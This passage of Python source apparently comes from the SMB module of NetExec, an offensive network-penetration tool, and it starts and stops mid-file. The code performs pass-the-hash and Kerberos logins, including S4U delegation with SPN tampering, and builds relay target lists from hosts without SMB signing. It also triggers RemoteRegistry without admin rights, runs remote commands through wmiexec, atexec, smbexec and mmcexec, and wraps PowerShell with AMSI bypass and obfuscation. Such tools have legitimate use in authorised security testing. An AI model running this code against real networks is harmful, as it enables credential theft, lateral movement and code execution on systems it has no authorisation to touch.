RegSecretsSAMHashes, LSASecrets as RegSecretsLSASecrets ) from impacket.nmb import NetBIOSError, NetBIOSTimeout from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp, srvs, wkst from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import SessionKeyDecryptionError, getKerberosTGT from impacket.krb5.types import KerberosException, Principal from impacket.krb5 import constants from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, SMB2_0_IOCTL_IS_FSCTL from impacket.dcerpc.v5 import tsts as TSTS from nxc.config import process_secret, host_info_colors, check_guest_account from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker from nxc.helpers.misc import gen_random_string, validate_ntlm from nxc.logger import NXCAdapter from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket from nxc.protocols.smb.wmiexec import WMIEXEC from nxc.protocols.smb.atexec import TSCH_EXEC from nxc.protocols.smb.smbexec import SMBEXEC from nxc.protocols.smb.mmcexec import MMCEXEC from nxc.protocols.smb.smbspider import SMBSpider from nxc.protocols.smb.passpol import PassPolDump from nxc.protocols.smb.samruser import UserSamrDump from nxc.protocols.smb.samrfunc import SamrFunc from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.helpers.logger import highlight from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.powershell import create_ps_command from nxc.helpers.misc import detect_if_ip from nxc.protocols.ldap.resolution import LDAPResolution from dploot.triage.vaults import VaultsTriage from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie from dploot.triage.credentials import CredentialsTriage from dploot.lib.target import Target from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection from time import time, ctime, sleep from traceback import format_exc from termcolor import colored import contextlib smb_share_name = gen_random_string(5).upper() smb_error_status = [ "STATUS_ACCOUNT_DISABLED", "STATUS_ACCOUNT_EXPIRED", "STATUS_ACCOUNT_RESTRICTION", "STATUS_INVALID_LOGON_HOURS", "STATUS_INVALID_WORKSTATION", "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT", "STATUS_LOGON_TYPE_NOT_GRANTED", "STATUS_PASSWORD_EXPIRED", "STATUS_PASSWORD_MUST_CHANGE", "STATUS_ACCESS_DENIED", "STATUS_NO_SUCH_FILE", "KDC_ERR_CLIENT_REVOKED", "KDC_ERR_PREAUTH_FAILED", ] def get_error_string(exception): if hasattr(exception, "getErrorString"): try: es = exception.getErrorString() except KeyError: return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}" if type(es) is tuple: return es[0] else: return es else: return str(exception) class smb(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.server_os_major = None self.server_os_minor = None self.server_os_build = None self.os_arch = 0 self.hash = None self.lmhash = "" self.nthash = "" self.remote_ops = None self.bootkey = None self.smbv1 = None # Check if SMBv1 is supported self.smbv3 = None # Check if SMBv3 is supported self.is_timed_out = False self.signing = False self.smb_share_name = smb_share_name self.pvkbytes = None self.no_da = None self.no_ntlm = False self.null_auth = False self.protocol = "SMB" self.is_guest = None self.isdc = None connection.__init__(self, args, db, host) def proto_logger(self): self.logger = NXCAdapter( extra={ "protocol": "SMB", "host": self.host, "port": self.port, "hostname": self.hostname, } ) def get_os_arch(self): try: string_binding = rf"ncacn_ip_tcp:{self.host}[135]" transport = DCERPCTransportFactory(string_binding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() if self.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")) except DCERPCException as e: if str(e).find("syntaxes_not_supported") >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except Exception as e: self.logger.debug(f"Error retrieving os arch of {self.host}: {e!s}") return 0 def enum_host_info(self): self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] try: self.conn.login("", "") self.null_auth = True except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") except Exception as e: self.null_auth = False if "STATUS_NOT_SUPPORTED" in str(e): # no ntlm supported self.no_ntlm = True self.logger.debug("NTLM not supported") if check_guest_account and not self.no_ntlm: try: self.conn.login("Guest", "") self.logger.debug("Guest authentication successful") self.is_guest = True except Exception: self.is_guest = False # self.domain is the attribute we authenticate with # self.targetDomain is the attribute which gets displayed as host domain if not self.no_ntlm: self.hostname = self.conn.getServerName() self.targetDomain = self.conn.getServerDNSDomainName() if not self.targetDomain: # Not sure if that can even happen but now we are safe self.targetDomain = self.hostname else: try: self.is_host_dc() # If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available if self.isdc and detect_if_ip(self.host): self.hostname, self.domain = LDAPResolution(self.host).get_resolution() self.targetDomain = self.domain # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it else: # Check if the host is a valid IP address, if not we parse the FQDN in the Exception import socket socket.inet_aton(self.host) self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name") self.hostname = self.host self.targetDomain = self.host except OSError: if self.host.count(".") >= 1: self.hostname = self.host.split(".")[0] self.targetDomain = ".".join(self.host.split(".")[1:]) else: self.hostname = self.host self.targetDomain = self.host except Exception as e: self.logger.debug(f"Error getting hostname from LDAP: {e}") self.hostname = self.host self.targetDomain = self.host if self.args.domain: self.domain = self.args.domain elif self.args.use_kcache: # Fixing domain trust, just pull the auth domain out of the ticket self.domain = CCache.parseFile()[0] else: self.domain = self.targetDomain if self.args.local_auth: self.domain = self.hostname self.targetDomain = self.hostname # As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725 # Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0 # Also only on Windows we should get an OS arch as for that we would need MSRPC try: self.server_os = self.conn.getServerOS() self.server_os_major = self.conn.getServerOSMajor() self.server_os_minor = self.conn.getServerOSMinor() self.server_os_build = self.conn.getServerOSBuild() except KeyError: self.logger.debug("Error getting server information...") # Handle cases where server_os is returned as bytes, such as when accidentally scanning a machine running Responder if isinstance(self.server_os.lower(), bytes): self.server_os = self.server_os.decode("utf-8") if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0: self.server_os = "Unix - Samba" elif self.server_os_build == 0 and self.os_arch == 0: self.server_os = "Unix" self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}") self.logger.extra["hostname"] = self.hostname try: self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] except Exception as e: self.logger.debug(e) self.os_arch = self.get_os_arch() try: # DCs seem to want us to logoff first, windows workstations sometimes reset the connection self.conn.logoff() except Exception as e: self.logger.debug(f"Error logging off system: {e}") try: self.db.add_host( self.host, self.hostname, self.domain, self.server_os, self.smbv1, self.signing, ) except Exception as e: self.logger.debug(f"Error adding host {self.host} into db: {e!s}") # DCOM connection with kerberos needed self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}" # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") def print_host_info(self): signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) ntlm = colored(f" (NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=["bold"]) if self.null_auth else "" guest = colored(f" (Guest Auth:{self.is_guest})", host_info_colors[1], attrs=["bold"]) if self.is_guest else "" self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}){ntlm}{null_auth}{guest}") if self.args.generate_hosts_file or self.args.generate_krb5_file: if self.isdc is None: self.is_host_dc() if self.args.generate_hosts_file: with open(self.args.generate_hosts_file, "a+") as host_file: dc_part = f" {self.targetDomain}" if self.isdc else "" host_file.write(f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}\n") self.logger.debug(f"Line added to {self.args.generate_hosts_file} {self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}") elif self.args.generate_krb5_file and self.isdc: with open(self.args.generate_krb5_file, "w+") as host_file: data = dedent(f""" [libdefaults] dns_lookup_kdc = false dns_lookup_realm = false default_realm = {self.domain.upper()} [realms] {self.domain.upper()} = {{ kdc = {self.hostname.lower()}.{self.domain} admin_server = {self.hostname.lower()}.{self.domain} default_domain = {self.domain} }} [domain_realm] .{self.domain} = {self.domain.upper()} {self.domain} = {self.domain.upper()} """).strip() host_file.write(data) self.logger.debug(data) self.logger.success(f"krb5 conf saved to: {self.args.generate_krb5_file}") self.logger.success(f"Run the following command to use the conf file: export KRB5_CONFIG={self.args.generate_krb5_file}") return self.host, self.hostname, self.targetDomain def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.logger.debug(f"KDC set to: {kdcHost}") # Re-connect since we logged off self.create_conn_obj() lmhash = "" nthash = "" try: self.password = password self.username = username # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") self.hash = nthash else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash if not all(s == "" for s in [self.nthash, password, aesKey]): kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) else: kerb_pass = "" self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") tgs = None if self.args.delegate: kerb_pass = "" self.username = self.args.delegate serverName = Principal(self.args.delegate_spn if self.args.delegate_spn else f"cifs/{self.remoteName}", type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, sk = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) self.logger.debug(f"TGS obtained for {self.args.delegate} for {serverName}") spn = f"cifs/{self.remoteName}" if self.args.delegate_spn: self.logger.debug(f"Swapping SPN to {spn} for TGS") tgs = kerberos_altservice(tgs, spn) if self.args.generate_st: self.save_st(tgs, sk, spn if self.args.delegate_spn else None) self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) if "Unix" not in self.server_os: self.check_if_admin() if username == "": self.username = self.conn.getCredentials()[0] elif not self.args.delegate: self.username = username used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" if self.args.delegate: used_ccache = f" through S4U with {username}" if self.args.delegate_spn: used_ccache = f" through S4U with {username} (w/ SPN {self.args.delegate_spn})" out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}" self.logger.success(out) if not self.args.local_auth and self.username != "" and not self.args.delegate: add_user_bh(self.username, domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.args.continue_on_success and self.signing: with contextlib.suppress(Exception): self.conn.logoff() return True except SessionKeyDecryptionError: # success for now, since it's a vulnerability - previously was an error self.logger.success( f"{domain}\\{self.username} account vulnerable to asreproast attack", color="yellow", ) return False except (FileNotFoundError, KerberosException) as e: self.logger.fail(f"CCache Error: {e}") return False except OSError as e: used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" if self.args.delegate: used_ccache = f" through S4U with {username}" self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}") except (SessionError, Exception) as e: error, desc = e.getErrorString() used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" if self.args.delegate: used_ccache = f" through S4U with {username}" self.logger.fail( f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}", color="magenta" if error in smb_error_status else "red", ) if error not in smb_error_status: self.inc_failed_login(username) return False def plaintext_login(self, domain, username, password): # Re-connect since we logged off self.create_conn_obj() try: self.password = password self.username = username self.domain = domain self.conn.login(self.username, self.password, domain) self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") if "Unix" not in self.server_os: self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) user_id = self.db.get_credential("plaintext", domain, self.username, self.password) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}" self.logger.success(out) if not self.args.local_auth and self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}") self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id) add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.args.continue_on_success and self.signing: with contextlib.suppress(Exception): self.conn.logoff() return True except SessionError as e: error, desc = e.getErrorString() self.logger.fail( f'{domain}\\{self.username}:{process_secret(self.password)} {error} {f"({desc})" if self.args.verbose else ""}', color="magenta" if error in smb_error_status else "red", ) if error in ["STATUS_PASSWORD_MUST_CHANGE", "STATUS_PASSWORD_EXPIRED", "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT"] and self.args.module == ["change-password"]: return True if error not in smb_error_status: self.inc_failed_login(username) return False except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: self.logger.fail(f"Connection Error: {e}") return False except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") return False def hash_login(self, domain, username, ntlm_hash): # Re-connect since we logged off self.create_conn_obj() lmhash = "" nthash = "" try: self.domain = domain self.username = username # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") self.hash = nthash else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.conn.login(self.username, "", domain, lmhash, nthash) self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") if "Unix" not in self.server_os: self.check_if_admin() self.db.add_credential("hash", domain, self.username, self.hash) user_id = self.db.get_credential("hash", domain, self.username, self.hash) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}" self.logger.success(out) if not self.args.local_auth and self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id) add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.args.continue_on_success and self.signing: with contextlib.suppress(Exception): self.conn.logoff() return True except SessionError as e: error, desc = e.getErrorString() self.logger.fail( f"{domain}\\{self.username}:{process_secret(self.hash)} {error} {f'({desc})' if self.args.verbose else ''}", color="magenta" if error in smb_error_status else "red", ) if error in ["STATUS_PASSWORD_MUST_CHANGE", "STATUS_PASSWORD_EXPIRED", "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT"] and self.args.module == ["change-password"]: return True if error not in smb_error_status: self.inc_failed_login(self.username) return False except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: self.logger.fail(f"Connection Error: {e}") return False except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") return False def create_smbv1_conn(self, check=False): self.logger.info(f"Creating SMBv1 connection to {self.host}") try: conn = SMBConnection( self.remoteName, self.host, None, self.port, preferredDialect=SMB_DIALECT, timeout=self.args.smb_timeout, ) self.smbv1 = True if not check: self.conn = conn except OSError as e: if "Connection reset by peer" in str(e): self.logger.info(f"SMBv1 might be disabled on {self.host}") elif "timed out" in str(e): self.is_timed_out = True self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}") else: self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") return False except NetBIOSError: self.logger.info(f"SMBv1 disabled on {self.host}") return False except (Exception, NetBIOSTimeout) as e: self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") return False return True def create_smbv3_conn(self): self.logger.info(f"Creating SMBv3 connection to {self.host}") try: self.conn = SMBConnection( self.remoteName, self.host, None, self.port, timeout=self.args.smb_timeout, ) self.smbv3 = True except (Exception, NetBIOSTimeout, OSError) as e: if "timed out" in str(e): self.is_timed_out = True self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}") else: self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") return False return True def create_conn_obj(self, no_smbv1=False): """ Tries to create a connection object to the target host. On first try, it will try to create a SMBv1 connection to be able to get the plaintext server OS version if available. On further tries, it will remember which SMB version is supported and create a connection object accordingly, preferably SMBv3. :param no_smbv1: If True, it will not try to create a SMBv1 connection """ # Initial negotiation if self.smbv1 is None and not no_smbv1 and not self.args.no_smbv1: if self.create_smbv1_conn(): return True elif not self.is_timed_out: # Fallback if SMBv1 fails return self.create_smbv3_conn() else: return False elif self.smbv3 is not False: if not self.create_smbv3_conn(): # Fallback if SMBv3 fails return self.create_smbv1_conn() else: return True else: return self.create_smbv1_conn() def check_if_admin(self): if self.args.no_admin_check: return self.logger.debug(f"Checking if user is admin on {self.host}") rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() try: dce.connect() except Exception: self.admin_privs = False else: with contextlib.suppress(Exception): dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F) scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"]) self.logger.debug(f"User is admin on {self.host}!") self.admin_privs = True except scmr.DCERPCException: self.admin_privs = False except Exception as e: self.logger.fail(f"Error checking if user is admin on {self.host}: {e}") self.admin_privs = False def gen_relay_list(self): if self.server_os.lower().find("windows") != -1 and self.signing is False: with sem, open(self.args.gen_relay_list, "a+") as relay_list: if self.host not in relay_list.read(): relay_list.write(self.host + "\n") def save_st(self, st, sk, new_spn=None): ccache = CCache() tgs_rep = st["KDC_REP"] session_key = sk try: ccache.fromTGS(tgs_rep, session_key, session_key) except SessionKeyDecryptionError as e: self.logger.fail(f"Failed to decrypt session key: {e}") return if new_spn: # there is a new principal, likely from tampering the SPN during S4U2proxy realm = get_realm_from_ticket(st) principal = Principal(f"{new_spn}@{realm}", type=constants.PrincipalNameType.NT_SRV_INST.value) self.logger.debug(f"Using principal {principal} for ST") ccache.credentials[0]["server"].fromPrincipal(principal) st_file = f"{self.args.generate_st.removesuffix('.ccache')}.ccache" ccache.saveFile(st_file) self.logger.success(f"Saved ST to {st_file}") def generate_tgt(self): self.logger.info(f"Attempting to get TGT for {self.username}@{self.domain}") userName = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( clientName=userName, password=self.password, domain=self.domain.upper(), lmhash=binascii.unhexlify(self.lmhash) if self.lmhash else "", nthash=binascii.unhexlify(self.nthash) if self.nthash else "", aesKey=self.aesKey, kdcHost=self.kdcHost ) self.logger.debug(f"TGT successfully obtained for {self.username}@{self.domain}") self.logger.debug(f"Using cipher: {cipher}") ccache = CCache() ccache.fromTGT(tgt, oldSessionKey, sessionKey) tgt_file = f"{self.args.generate_tgt.removesuffix('.ccache')}.ccache" ccache.saveFile(tgt_file) self.logger.success(f"TGT saved to: {tgt_file}") self.logger.success(f"Run the following command to use the TGT: export KRB5CCNAME={tgt_file}") except Exception as e: self.logger.fail(f"Failed to get TGT: {e}") def check_dc_ports(self, timeout=1): """Check multiple DC-specific ports in case first check fails""" import socket dc_ports = [88, 389, 636, 3268, 9389] # Kerberos, LDAP, LDAPS, Global Catalog, ADWS open_ports = 0 for port in dc_ports: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) result = sock.connect_ex((self.host, port)) if result == 0: self.logger.debug(f"Port {port} is open on {self.host}") open_ports += 1 sock.close() except Exception: pass # If 3 or more DC ports are open, likely a DC return open_ports >= 3 def is_host_dc(self): from impacket.dcerpc.v5 import nrpc, epm self.logger.debug("Performing authentication attempts...") # First check if port 135 is open if self._is_port_open(135): self.logger.debug("Port 135 is open, attempting MSRPC connection...") try: epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") self.isdc = True return True except DCERPCException: self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") except TimeoutError: self.logger.debug("Timeout while connecting to host: likely not a DC or host is unreachable.") except Exception as e: self.logger.debug(f"Error while connecting to host: {e}") self.isdc = False return False else: self.logger.debug("Port 135 is closed, skipping MSRPC check...") # Fallback to checking DC ports if self.check_dc_ports(): self.logger.debug("Host appears to be a DC (multiple DC ports open)") self.isdc = True return True self.isdc = False return False def _is_port_open(self, port, timeout=1): """Check if a specific port is open on the target host.""" import socket try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.settimeout(timeout) result = sock.connect_ex((self.host, port)) return result == 0 except Exception as e: self.logger.debug(f"Error checking port {port} on {self.host}: {e}") return False def trigger_winreg(self): # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 # Basically triggers the RemoteRegistry to start without admin privs try: tid = self.conn.connectTree("IPC$") try: self.conn.openFile( tid, r"\winreg", 0x12019F, creationOption=0x40, fileAttributes=0x80, ) except SessionError as e: # STATUS_PIPE_NOT_AVAILABLE error is expected if "STATUS_PIPE_NOT_AVAILABLE" not in str(e): raise else: self.logger.debug(f"Received expected error while triggering winreg: {e}") # Give remote registry time to start sleep(1) return True except (SessionError, BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e: self.logger.debug(f"Received unexpected error while triggering winreg: {e}") return False @requires_admin def execute(self, payload=None, get_output=False, methods=None) -> str: """ Executes a command on the target host using CMD.exe and the specified method(s). Args: ---- payload (str): The command to execute get_output (bool): Whether to get the output of the command (can be useful for AV evasion) methods (list): The method(s) to use for command execution Returns: ------- str: The output of the command """ if getattr(self.args, "exec_method_explicitly_set", False): methods = [self.args.exec_method] if not methods: methods = ["wmiexec", "atexec", "smbexec", "mmcexec"] if not payload and self.args.execute: payload = self.args.execute if not self.args.no_output: get_output = True current_method = "" for method in methods: current_method = method if method == "wmiexec": try: exec_method = WMIEXEC( self.remoteName, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.host, self.hash, self.args.share, logger=self.logger, timeout=self.args.dcom_timeout, tries=self.args.get_output_tries ) self.logger.info("Executed command via wmiexec") break except Exception: self.logger.debug("Error executing command via wmiexec, traceback:") self.logger.debug(format_exc()) continue elif method == "mmcexec": try: # https://github.com/fortra/impacket/issues/1611 if self.kerberos: raise Exception("MMCExec current is buggly with kerberos") exec_method = MMCEXEC( self.remoteName, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.host, self.hash, self.args.share, logger=self.logger, timeout=self.args.dcom_timeout, tries=self.args.get_output_tries ) self.logger.info("Executed command via mmcexec") break except Exception: self.logger.debug("Error executing command via mmcexec, traceback:") self.logger.debug(format_exc()) continue elif method == "atexec": try: exec_method = TSCH_EXEC( self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.host, self.kdcHost, self.hash, self.logger, self.args.get_output_tries, self.args.share ) self.logger.info("Executed command via atexec") break except Exception: self.logger.debug("Error executing command via atexec, traceback:") self.logger.debug(format_exc()) continue elif method == "smbexec": try: exec_method = SMBEXEC( self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.conn, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.host, self.kdcHost, self.hash, self.args.share, self.port, self.logger, self.args.get_output_tries ) self.logger.info("Executed command via smbexec") break except Exception: self.logger.debug("Error executing command via smbexec, traceback:") self.logger.debug(format_exc()) continue if hasattr(self, "server"): self.server.track_host(self.host) if "exec_method" in locals(): output = exec_method.execute(payload, get_output) try: if not isinstance(output, str): output = output.decode(self.args.codec) except UnicodeDecodeError: self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") output = output.decode("cp437") self.logger.debug(f"Raw Output: {output}") output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()]) self.logger.debug(f"Cleaned Output: {output}") if "This script contains malicious content" in output: self.logger.fail("Command execution blocked by AMSI") return "" if (self.args.execute or self.args.ps_execute): self.logger.success(f"Executed command via {current_method}") if output: for line in output.split("\n"): self.logger.highlight(line) return output else: self.logger.fail(f"Execute command failed with {current_method}") return "" @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False) -> list: """ Wrapper for executing a PowerShell command on the target host. This still uses the execute() method internally, but creates a PowerShell command together with possible AMSI bypasses and other options. Args: ---- payload (str): The PowerShell command to execute OR the path to a file containing PowerShell commands get_output (bool): Whether to get the output of the command (can be useful for AV evasion) methods (list): The method(s) to use for command execution force_ps32 (bool): Whether to force 32-bit PowerShell Returns: ------- list: A list containing the lines of the output of the command """ payload = self.args.ps_execute if not payload and self.args.ps_execute else payload if not payload: self.logger.error("No command to execute specified!") return [] response = [] obfs = obfs if obfs else self.args.obfs encode = encode if encode else not self.args.no_encode force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32 get_output = True if not self.args.no_output else get_output self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}") amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None self.logger.debug(f"AMSI Bypass: {amsi_bypass}") if os.path.isfile(payload): self.logger.debug(f"File payload set: {payload}") with open(payload) as commands: response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands] else: response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)] self.logger.debug(f"ps_execute response: {response}") return response def get_session_list(self): with TSTS.TermSrvEnumeration(self.conn, self.host, self.kerberos) as lsm: handle = lsm.hRpcOpenEnum() rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"] lsm.hRpcCloseEnum(handle) sessions = {} for i in rsessions: sess = i["SessionInfo"]["SessionEnum_Level1"] state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] sessions[sess["SessionId"]] = { "state": state, "SessionName": sess["Name"], "RemoteIp": "", "ClientName": "", "Username": "", "Domain": "", "Resolution": "", "ClientTimeZone": "" } return sessions def enumerate_sessions_info(self, sessions): if len(sessions): with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession: for SessionId in sessions: sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) sessions[SessionId]["flags"] = sessflags domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"] if not len(sessions[SessionId]["Domain"]) and len(domain): sessions[SessionId]["Domain"] = domain username = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["UserName"] if not len(sessions[SessionId]["Username"]) and len(username): sessions[SessionId]["Username"] = username sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"] sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] try: with 